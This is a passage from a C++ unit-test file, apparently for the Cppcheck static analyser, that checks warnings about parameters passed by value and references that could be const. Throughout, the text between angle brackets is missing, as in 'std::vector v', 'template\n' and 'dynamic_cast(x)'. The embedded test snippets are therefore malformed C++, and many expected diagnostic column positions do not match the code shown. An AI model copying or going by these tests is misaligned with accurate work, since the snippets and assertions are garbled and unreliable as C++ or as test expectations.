check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void 